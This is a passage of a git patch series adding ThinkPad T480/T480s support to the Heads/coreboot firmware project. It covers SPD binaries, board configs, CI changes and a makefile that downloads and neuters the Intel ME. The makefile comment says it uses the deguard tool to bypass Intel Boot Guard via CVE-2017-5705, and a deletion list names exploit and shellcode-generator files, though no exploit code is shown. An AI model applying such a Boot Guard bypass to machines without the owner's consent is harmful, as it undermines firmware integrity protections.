+zcmY!uenuv07)YiW2Og2B5w5L42g)>Y3~@6xG%_>sh|)E7H}WzBiW@fQc)?W; +GP6hy+m=i1j + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_2.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_2.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..b5b14cf2dfa06ae183b0379da4dc825129e1589f +GIT binary patch +literal 512 +zcmY!u;9+)EWZ+<6U|?oq29gXMJU@VRUS6IcN7)B11r7#Qh7a1tdLSuupuhlu3{YAD +XT>%b$v*cE=%%S%6I8=-Z(%b$+tzbnnL|62aHtp+rc($20QGqazW@LL + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_4.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_4.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..829f149547bc24859646c33d5926938d7a1b90cb +GIT binary patch +literal 512 +zcmY!u;9+)EWZ+<6U|?oq29gXMJYRrxPEL*>N67~+1r7#Qh7a1tdLSuupuhlu3{YAD +XT>%b$o8(ro%%OI594bbI=@bG0z{d&v + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_5.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_5.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..a64a5a93fb4aef4d5f63d79cb2582731b9ac5063 +GIT binary patch +literal 512 +NcmZQz7zHCa1ONg600961 + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_6.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_6.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..a64a5a93fb4aef4d5f63d79cb2582731b9ac5063 +GIT binary patch +literal 512 +NcmZQz7zHCa1ONg600961 + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_7.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_7.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..940f1e3cd8e5bd9ea32a82a14edcdcbc8132d8c7 +GIT binary patch +literal 512 +zcmY!u<-XH%N8S?V-1R3%^a4B#wurjQW(9mG0U=XnZ$x{Q& +z0UPq1A)%L_QJxwGl4(Y*BAFWD+8T7AOcTeDU_*B^6OSleBX=`bLy)jxgN`d)<=|uh +E020*^DF6Tf + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_8.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_8.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..30c84410d417ef7afa8705c93cdb64a9f4e915a0 +GIT binary patch +literal 512 +zcmY!uW!enxp}7)YiWinU~FgllWifig`TLxK(6%}hL^bdB7N9Ss$Lz^FmT39fQ* +FG5`?&65ap+ + +literal 0 +HcmV?d00001 + +-- +2.39.5 + diff --git a/targets/xx80_me_blobs.mk b/targets/xx80_me_blobs.mk new file mode 100644 index 000000000..dfe485935 --- /dev/null +++ b/targets/xx80_me_blobs.mk @@ -0,0 +1,27 @@ +# Targets for downloading xx80 ME blob, neutering it and deactivating ME. +# This also uses the deguard tool to bypass Intel Boot Guard exploiting CVE-2017-5705. +# See https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00086.html + +# xx80-*-maximized boards require of you initially call one of the +# following to have gbe.bin ifd.bin and me.bin +# - blobs/xx80/download_clean_me_and_deguard.sh +# To download Lenovo original ME binary, neuter+deactivate ME, produce +# reduced IFD ME region and expanded BIOS IFD region. +# - blobs/xx80/extract_and_deguard.sh +# To extract ME binary, GBE and IFD blobs and apply the deguard exploit to the the ME binary. + +# Make the Coreboot build depend on the following 3rd party blobs: +$(build)/coreboot-$(CONFIG_COREBOOT_VERSION)/$(BOARD)/.build: \ + $(pwd)/blobs/xx80/me.bin + +$(pwd)/blobs/kabylake/Fsp_M.fd: + COREBOOT_DIR="$(build)/$(coreboot_base_dir)" \ + $(pwd)/blobs/kabylake/fetch_split_fsp.sh $(pwd)/blobs/kabylake + +$(pwd)/blobs/kabylake/Fsp_S.fd: + COREBOOT_DIR="$(build)/$(coreboot_base_dir)" \ + $(pwd)/blobs/kabylake/fetch_split_fsp.sh $(pwd)/blobs/kabylake + +$(pwd)/blobs/xx80/me.bin: + COREBOOT_DIR="$(build)/$(coreboot_base_dir)" \ + $(pwd)/blobs/xx80/download_clean_deguard_me.sh $(pwd)/blobs/xx80 \ No newline at end of file From f9ba787fd1c74a35bc75ffce86b4a71097742b69 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 12 Feb 2025 11:57:24 -0500 Subject: [PATCH 25/50] config/coreboot-t480.config: set CONFIG_FSP_USE_REPO=y otherwise build error Signed-off-by: Thierry Laurion --- config/coreboot-t480.config | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config/coreboot-t480.config b/config/coreboot-t480.config index 715257deb..ff282ab90 100644 --- a/config/coreboot-t480.config +++ b/config/coreboot-t480.config @@ -643,7 +643,7 @@ CONFIG_DRIVERS_UART=y # CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set CONFIG_DRIVERS_I2C_DESIGNWARE=y # CONFIG_DRIVERS_I2C_MAX98396 is not set -# CONFIG_FSP_USE_REPO is not set +CONFIG_FSP_USE_REPO=y # CONFIG_DISPLAY_HOBS is not set # CONFIG_DISPLAY_UPD_DATA is not set # CONFIG_BMP_LOGO is not set From fd55341cf45cd69b962b6bcf0c1f88eb43bb5a93 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 12 Feb 2025 12:14:33 -0500 Subject: [PATCH 26/50] fix t480p-hotp-maximized -> t480-hotp-maximized; unify against x230; add the CircleCI Signed-off-by: Thierry Laurion --- .circleci/config.yml | 10 ++- .../t480-hotp-maximized.config | 75 +++++++++++++++++++ boards/t480-maximized/t480-maximized.config | 48 +++++++++--- .../t480-hotp-maximized.config | 7 -- 4 files changed, 120 insertions(+), 20 deletions(-) create mode 100644 boards/t480-hotp-maximized/t480-hotp-maximized.config delete mode 100644 boards/t480p-hotp-maximized/t480-hotp-maximized.config diff --git a/.circleci/config.yml b/.circleci/config.yml index d85279e3e..0f0ba68c3 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -510,13 +510,21 @@ workflows: requires: - librem_14 + # t480 is based on 24.12 coreboot release, not sharing any buildstack from now, depend on muscl-cross cache + - build: + name: t480-hotp-maximized + target: t480-hotp-maximized + subcommand: "" + requires: + - x86-musl-cross-make + # t480 is based on 24.12 coreboot release, not sharing any buildstack from now, depend on muscl-cross cache - build: name: t480-maximized target: t480-maximized subcommand: "" requires: - - x86-musl-cross-make + - t480-hotp-maximized # dasharo release, share 24.02.01 utils/crossgcc - build: diff --git a/boards/t480-hotp-maximized/t480-hotp-maximized.config b/boards/t480-hotp-maximized/t480-hotp-maximized.config new file mode 100644 index 000000000..fd79aaa9d --- /dev/null +++ b/boards/t480-hotp-maximized/t480-hotp-maximized.config @@ -0,0 +1,75 @@ +# Configuration for a ThinkPad T480. + +export CONFIG_COREBOOT=y +export CONFIG_COREBOOT_VERSION=t480 +export CONFIG_LINUX_VERSION=6.1.8 + +CONFIG_COREBOOT_CONFIG=config/coreboot-t480.config +# TODO: Make a ThinkPad-common Linux config file. +CONFIG_LINUX_CONFIG=config/linux-t480.config + +#On-demand hardware support (modules.cpio) +CONFIG_LINUX_USB=y +CONFIG_LINUX_E1000E=y +CONFIG_MOBILE_TETHERING=y + +#Modules packed into tools.cpio +CONFIG_CRYPTSETUP2=y +CONFIG_FLASHPROG=y +CONFIG_FLASHTOOLS=y +CONFIG_GPG2=y +CONFIG_KEXEC=y +CONFIG_UTIL_LINUX=y +CONFIG_LVM2=y +CONFIG_MBEDTLS=y +CONFIG_PCIUTILS=y + +#platform locking finalization (PR0) +CONFIG_IO386=y +export CONFIG_FINALIZE_PLATFORM_LOCKING=y + + +#Remote attestation support +# TPM2 requirements +#CONFIG_TPM2_TSS=y +#CONFIG_OPENSSL=y +CONFIG_POPT=y +CONFIG_QRENCODE=y +CONFIG_TPMTOTP=y +#HOTP based remote attestation for supported USB Security dongle +#With/Without TPM support +CONFIG_HOTPKEY=y + +#Nitrokey Storage admin tool +CONFIG_NKSTORECLI=n + +#GUI Support +#Console based Whiptail support(Console based, no FB): +#CONFIG_SLANG=y +#CONFIG_NEWT=y +#FBWhiptail based (Graphical): +CONFIG_CAIRO=y +CONFIG_FBWHIPTAIL=y + +#Additional tools (tools.cpio): +#SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) +CONFIG_DROPBEAR=y + +export CONFIG_TPM=y +#Enable DEBUG output, debug output probably a good idea for first tests +export CONFIG_DEBUG_OUTPUT=y +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log, not quiet for first test +export CONFIG_QUIET_MODE=n +export CONFIG_BOOTSCRIPT=/bin/gui-init +export CONFIG_BOOT_REQ_HASH=n +export CONFIG_BOOT_REQ_ROLLBACK=n +export CONFIG_BOOT_KERNEL_ADD="" +export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" +export CONFIG_BOARD_NAME="Thinkpad T480-hotp-maximized" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" + +# t480 blobs requirements +BOARD_TARGETS += t480_me_blobs diff --git a/boards/t480-maximized/t480-maximized.config b/boards/t480-maximized/t480-maximized.config index ba349d35f..e7068d5be 100644 --- a/boards/t480-maximized/t480-maximized.config +++ b/boards/t480-maximized/t480-maximized.config @@ -1,12 +1,20 @@ # Configuration for a ThinkPad T480. -CONFIG_COREBOOT_CONFIG=config/coreboot-t480.config -# TODO: Make a ThinkPad-common Linux config file. -CONFIG_LINUX_CONFIG=config/linux-t480.config +# - DOES NOT INCLUDE Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=t480 export CONFIG_LINUX_VERSION=6.1.8 +CONFIG_COREBOOT_CONFIG=config/coreboot-t480.config +# TODO: Make a ThinkPad-common Linux config file. +CONFIG_LINUX_CONFIG=config/linux-t480.config + +#On-demand hardware support (modules.cpio) +CONFIG_LINUX_USB=y +CONFIG_LINUX_E1000E=y +CONFIG_MOBILE_TETHERING=y + +#Modules packed into tools.cpio CONFIG_CRYPTSETUP2=y CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y @@ -16,23 +24,37 @@ CONFIG_UTIL_LINUX=y CONFIG_LVM2=y CONFIG_MBEDTLS=y CONFIG_PCIUTILS=y -CONFIG_POPT=y -CONFIG_QRENCODE=y -CONFIG_TPMTOTP=y #platform locking finalization (PR0) -# Disable for first try, enable when rest works CONFIG_IO386=y export CONFIG_FINALIZE_PLATFORM_LOCKING=y -# Dependencies for a graphical menu. Enable CONFIG_SLANG and CONFIG_NEWT instead -# for a console-based menu. +#Remote attestation support +# TPM2 requirements +#CONFIG_TPM2_TSS=y +#CONFIG_OPENSSL=y +CONFIG_POPT=y +CONFIG_QRENCODE=y +CONFIG_TPMTOTP=y +#HOTP based remote attestation for supported USB Security dongle +#With/Without TPM support +#CONFIG_HOTPKEY=y + +#Nitrokey Storage admin tool +CONFIG_NKSTORECLI=n + +#GUI Support +#Console based Whiptail support(Console based, no FB): +#CONFIG_SLANG=y +#CONFIG_NEWT=y +#FBWhiptail based (Graphical): CONFIG_CAIRO=y CONFIG_FBWHIPTAIL=y -CONFIG_LINUX_USB=y -CONFIG_MOBILE_TETHERING=y +#Additional tools (tools.cpio): +#SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) +CONFIG_DROPBEAR=y export CONFIG_TPM=y #Enable DEBUG output, debug output probably a good idea for first tests @@ -45,7 +67,9 @@ export CONFIG_QUIET_MODE=n export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n -export CONFIG_BOARD_NAME="ThinkPad T480" +export CONFIG_BOOT_KERNEL_ADD="" +export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" +export CONFIG_BOARD_NAME="Thinkpad T480-maximized" export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" # t480 blobs requirements diff --git a/boards/t480p-hotp-maximized/t480-hotp-maximized.config b/boards/t480p-hotp-maximized/t480-hotp-maximized.config deleted file mode 100644 index e48ee2fee..000000000 --- a/boards/t480p-hotp-maximized/t480-hotp-maximized.config +++ /dev/null @@ -1,7 +0,0 @@ -# Inherit the rest from the base T440p config. -include $(pwd)/boards/t480-maximized/t480-maximized.config - -CONFIG_HOTPKEY=y -export CONFIG_AUTO_BOOT_TIMEOUT=5 - -export CONFIG_BOARD_NAME="ThinkPad T480-hotp-maximized" From ae595f298e53badd90b2baa743fd6d10ff234d4a Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 12 Feb 2025 12:50:19 -0500 Subject: [PATCH 27/50] t480: remove blobs/t480 prior work of @notgivenby since we rely on simpler/merged of @gaspar-ilom Signed-off-by: Thierry Laurion --- blobs/t480/.gitignore | 2 - blobs/t480/README.md | 13 - blobs/t480/biosutilities/.gitignore | 5 - blobs/t480/biosutilities/AMI_PFAT_Extract.py | 319 ----- blobs/t480/biosutilities/AMI_UCP_Extract.py | 515 -------- blobs/t480/biosutilities/Apple_EFI_ID.py | 167 --- blobs/t480/biosutilities/Apple_EFI_IM4P.py | 145 --- blobs/t480/biosutilities/Apple_EFI_PBZX.py | 118 -- blobs/t480/biosutilities/Apple_EFI_PKG.py | 148 --- .../t480/biosutilities/Award_BIOS_Extract.py | 74 -- blobs/t480/biosutilities/Dell_PFS_Extract.py | 1067 ----------------- .../t480/biosutilities/Fujitsu_SFX_Extract.py | 89 -- .../t480/biosutilities/Fujitsu_UPC_Extract.py | 44 - .../t480/biosutilities/Insyde_IFD_Extract.py | 217 ---- blobs/t480/biosutilities/LICENSE | 19 - .../biosutilities/Panasonic_BIOS_Extract.py | 209 ---- .../t480/biosutilities/Phoenix_TDK_Extract.py | 243 ---- .../biosutilities/Portwell_EFI_Extract.py | 136 --- blobs/t480/biosutilities/README.md | 552 --------- .../t480/biosutilities/Toshiba_COM_Extract.py | 63 - .../biosutilities/VAIO_Package_Extract.py | 147 --- blobs/t480/biosutilities/common/checksums.py | 25 - blobs/t480/biosutilities/common/comp_efi.py | 57 - blobs/t480/biosutilities/common/comp_szip.py | 72 -- blobs/t480/biosutilities/common/externals.py | 38 - blobs/t480/biosutilities/common/num_ops.py | 14 - blobs/t480/biosutilities/common/path_ops.py | 154 --- blobs/t480/biosutilities/common/patterns.py | 34 - blobs/t480/biosutilities/common/pe_ops.py | 49 - blobs/t480/biosutilities/common/struct_ops.py | 28 - blobs/t480/biosutilities/common/system.py | 68 -- blobs/t480/biosutilities/common/templates.py | 162 --- blobs/t480/biosutilities/common/text_ops.py | 33 - .../biosutilities/external/requirements.txt | 2 - blobs/t480/deguard/.gitignore | 2 - blobs/t480/deguard/README.md | 81 -- .../home/bup/bup_sku/emu_fuse_map | Bin 7 -> 0 bytes .../home/bup/bup_sku/fuse_ip_base | Bin 18 -> 0 bytes .../optiplex_3050/home/bup/bup_sku/plat_n_sku | 1 - .../data/delta/optiplex_3050/home/bup/mbp | Bin 44 -> 0 bytes .../delta/optiplex_3050/home/gpio/csme_pins | 0 .../data/delta/optiplex_3050/home/icc/dynregs | Bin 36 -> 0 bytes .../data/delta/optiplex_3050/home/icc/header | Bin 4 -> 0 bytes .../data/delta/optiplex_3050/home/icc/namestr | Bin 48 -> 0 bytes .../data/delta/optiplex_3050/home/icc/prof0 | Bin 120 -> 0 bytes .../data/delta/optiplex_3050/home/icc/prof1 | 0 .../data/delta/optiplex_3050/home/icc/prof10 | 0 .../data/delta/optiplex_3050/home/icc/prof2 | 0 .../data/delta/optiplex_3050/home/icc/prof3 | 0 .../data/delta/optiplex_3050/home/icc/prof4 | 0 .../data/delta/optiplex_3050/home/icc/prof5 | 0 .../data/delta/optiplex_3050/home/icc/prof6 | 0 .../data/delta/optiplex_3050/home/icc/prof7 | 0 .../data/delta/optiplex_3050/home/icc/prof8 | 0 .../data/delta/optiplex_3050/home/icc/prof9 | 0 .../data/delta/optiplex_3050/home/mca/eom | 1 - .../delta/optiplex_3050/home/mca/ish_policy | Bin 1 -> 0 bytes .../optiplex_3050/home/mctp/device_ports | Bin 4 -> 0 bytes .../home/policy/cfgmgr/cfg_rules | Bin 660 -> 0 bytes .../optiplex_3050/home/policy/hci/sysintid1 | 1 - .../optiplex_3050/home/policy/hci/sysintid2 | 1 - .../optiplex_3050/home/policy/hci/sysintid3 | 1 - .../optiplex_3050/home/policy/pwdmgr/segreto | 1 - .../home/bup/bup_sku/emu_fuse_map | Bin 7 -> 0 bytes .../home/bup/bup_sku/fuse_ip_base | Bin 18 -> 0 bytes .../thinkpad_t480/home/bup/bup_sku/plat_n_sku | Bin 4 -> 0 bytes .../delta/thinkpad_t480/home/bup/invokemebx | Bin 4 -> 0 bytes .../data/delta/thinkpad_t480/home/bup/mbp | Bin 52 -> 0 bytes .../delta/thinkpad_t480/home/gpio/csme_pins | 0 .../data/delta/thinkpad_t480/home/icc/dynregs | Bin 28 -> 0 bytes .../data/delta/thinkpad_t480/home/icc/header | Bin 4 -> 0 bytes .../data/delta/thinkpad_t480/home/icc/namestr | Bin 48 -> 0 bytes .../data/delta/thinkpad_t480/home/icc/prof1 | 0 .../data/delta/thinkpad_t480/home/icc/prof10 | 0 .../data/delta/thinkpad_t480/home/icc/prof2 | 0 .../data/delta/thinkpad_t480/home/icc/prof3 | 0 .../data/delta/thinkpad_t480/home/icc/prof4 | 0 .../data/delta/thinkpad_t480/home/icc/prof5 | 0 .../data/delta/thinkpad_t480/home/icc/prof6 | 0 .../data/delta/thinkpad_t480/home/icc/prof7 | 0 .../data/delta/thinkpad_t480/home/icc/prof8 | 0 .../data/delta/thinkpad_t480/home/icc/prof9 | 0 .../data/delta/thinkpad_t480/home/mca/eom | 1 - .../delta/thinkpad_t480/home/mca/ish_policy | Bin 1 -> 0 bytes .../thinkpad_t480/home/mctp/device_ports | Bin 4 -> 0 bytes .../home/policy/Bist/auto_config | Bin 4 -> 0 bytes .../home/policy/cfgmgr/cfg_rules | Bin 660 -> 0 bytes .../thinkpad_t480/home/policy/hci/sysintid1 | 2 - .../thinkpad_t480/home/policy/hci/sysintid2 | 1 - .../thinkpad_t480/home/policy/hci/sysintid3 | 1 - .../thinkpad_t480/home/policy/pwdmgr/segreto | 1 - .../home/bup/bup_sku/plat_n_sku | Bin 4 -> 0 bytes .../data/delta/thinkpad_t480s/home/bup/mbp | Bin 44 -> 0 bytes .../delta/thinkpad_t480s/home/gpio/csme_pins | 0 .../delta/thinkpad_t480s/home/icc/dynregs | Bin 28 -> 0 bytes .../data/delta/thinkpad_t480s/home/icc/header | Bin 4 -> 0 bytes .../delta/thinkpad_t480s/home/icc/namestr | Bin 48 -> 0 bytes .../data/delta/thinkpad_t480s/home/icc/prof1 | 0 .../data/delta/thinkpad_t480s/home/icc/prof10 | 0 .../data/delta/thinkpad_t480s/home/icc/prof2 | 0 .../data/delta/thinkpad_t480s/home/icc/prof3 | 0 .../data/delta/thinkpad_t480s/home/icc/prof4 | 0 .../data/delta/thinkpad_t480s/home/icc/prof5 | 0 .../data/delta/thinkpad_t480s/home/icc/prof6 | 0 .../data/delta/thinkpad_t480s/home/icc/prof7 | 0 .../data/delta/thinkpad_t480s/home/icc/prof8 | 0 .../data/delta/thinkpad_t480s/home/icc/prof9 | 0 .../data/delta/thinkpad_t480s/home/mca/eom | 1 - .../delta/thinkpad_t480s/home/mca/ish_policy | Bin 1 -> 0 bytes .../thinkpad_t480s/home/mctp/device_ports | Bin 4 -> 0 bytes .../home/policy/Bist/auto_config | Bin 4 -> 0 bytes .../home/policy/cfgmgr/cfg_rules | Bin 660 -> 0 bytes .../thinkpad_t480s/home/policy/hci/sysintid1 | 1 - .../thinkpad_t480s/home/policy/hci/sysintid2 | 1 - .../thinkpad_t480s/home/policy/hci/sysintid3 | 1 - blobs/t480/deguard/data/fpfs/optiplex_3050 | Bin 256 -> 0 bytes blobs/t480/deguard/data/fpfs/thinkpad_t480 | Bin 256 -> 0 bytes blobs/t480/deguard/data/fpfs/zero | Bin 256 -> 0 bytes blobs/t480/deguard/doc/COPYING.txt | 339 ------ blobs/t480/deguard/doc/LICENSE.orig | 17 - blobs/t480/deguard/finalimage.py | 111 -- blobs/t480/deguard/gen_shellcode.py | 24 - blobs/t480/deguard/generatedelta.py | 76 -- blobs/t480/deguard/lib/cfg.py | 272 ----- blobs/t480/deguard/lib/exploit.py | 265 ---- blobs/t480/deguard/lib/image.py | 127 -- blobs/t480/deguard/lib/mfs.py | 508 -------- blobs/t480/deguard/mfsutil.py | 173 --- blobs/t480/download-clean-deguard-me.sh | 97 -- blobs/t480/gbe | Bin 8192 -> 0 bytes blobs/t480/ifd_16 | Bin 4096 -> 0 bytes blobs/t480/me_cleaner/README.md | 85 -- blobs/t480/me_cleaner/description.md | 2 - blobs/t480/me_cleaner/man/me_cleaner.1 | 157 --- blobs/t480/me_cleaner/me_cleaner.py | 884 -------------- blobs/t480/me_cleaner/setup.py | 22 - 136 files changed, 8286 deletions(-) delete mode 100644 blobs/t480/.gitignore delete mode 100644 blobs/t480/README.md delete mode 100644 blobs/t480/biosutilities/.gitignore delete mode 100644 blobs/t480/biosutilities/AMI_PFAT_Extract.py delete mode 100644 blobs/t480/biosutilities/AMI_UCP_Extract.py delete mode 100644 blobs/t480/biosutilities/Apple_EFI_ID.py delete mode 100644 blobs/t480/biosutilities/Apple_EFI_IM4P.py delete mode 100644 blobs/t480/biosutilities/Apple_EFI_PBZX.py delete mode 100644 blobs/t480/biosutilities/Apple_EFI_PKG.py delete mode 100644 blobs/t480/biosutilities/Award_BIOS_Extract.py delete mode 100644 blobs/t480/biosutilities/Dell_PFS_Extract.py delete mode 100644 blobs/t480/biosutilities/Fujitsu_SFX_Extract.py delete mode 100644 blobs/t480/biosutilities/Fujitsu_UPC_Extract.py delete mode 100644 blobs/t480/biosutilities/Insyde_IFD_Extract.py delete mode 100644 blobs/t480/biosutilities/LICENSE delete mode 100644 blobs/t480/biosutilities/Panasonic_BIOS_Extract.py delete mode 100644 blobs/t480/biosutilities/Phoenix_TDK_Extract.py delete mode 100644 blobs/t480/biosutilities/Portwell_EFI_Extract.py delete mode 100644 blobs/t480/biosutilities/README.md delete mode 100644 blobs/t480/biosutilities/Toshiba_COM_Extract.py delete mode 100644 blobs/t480/biosutilities/VAIO_Package_Extract.py delete mode 100644 blobs/t480/biosutilities/common/checksums.py delete mode 100644 blobs/t480/biosutilities/common/comp_efi.py delete mode 100644 blobs/t480/biosutilities/common/comp_szip.py delete mode 100644 blobs/t480/biosutilities/common/externals.py delete mode 100644 blobs/t480/biosutilities/common/num_ops.py delete mode 100644 blobs/t480/biosutilities/common/path_ops.py delete mode 100644 blobs/t480/biosutilities/common/patterns.py delete mode 100644 blobs/t480/biosutilities/common/pe_ops.py delete mode 100644 blobs/t480/biosutilities/common/struct_ops.py delete mode 100644 blobs/t480/biosutilities/common/system.py delete mode 100644 blobs/t480/biosutilities/common/templates.py delete mode 100644 blobs/t480/biosutilities/common/text_ops.py delete mode 100644 blobs/t480/biosutilities/external/requirements.txt delete mode 100644 blobs/t480/deguard/.gitignore delete mode 100644 blobs/t480/deguard/README.md delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/bup/bup_sku/emu_fuse_map delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/bup/bup_sku/fuse_ip_base delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/bup/bup_sku/plat_n_sku delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/bup/mbp delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/gpio/csme_pins delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/dynregs delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/header delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/namestr delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof0 delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof1 delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof10 delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof2 delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof3 delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof4 delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof5 delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof6 delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof7 delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof8 delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof9 delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/mca/eom delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/mca/ish_policy delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/mctp/device_ports delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/policy/cfgmgr/cfg_rules delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid1 delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid2 delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid3 delete mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/policy/pwdmgr/segreto delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/bup_sku/emu_fuse_map delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/bup_sku/fuse_ip_base delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/bup_sku/plat_n_sku delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/invokemebx delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/mbp delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/gpio/csme_pins delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/dynregs delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/header delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/namestr delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof1 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof10 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof2 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof3 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof4 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof5 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof6 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof7 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof8 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof9 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/mca/eom delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/mca/ish_policy delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/mctp/device_ports delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/policy/Bist/auto_config delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/policy/cfgmgr/cfg_rules delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/policy/hci/sysintid1 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/policy/hci/sysintid2 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/policy/hci/sysintid3 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/policy/pwdmgr/segreto delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/bup/bup_sku/plat_n_sku delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/bup/mbp delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/gpio/csme_pins delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/dynregs delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/header delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/namestr delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof1 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof10 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof2 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof3 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof4 delete mode 100644 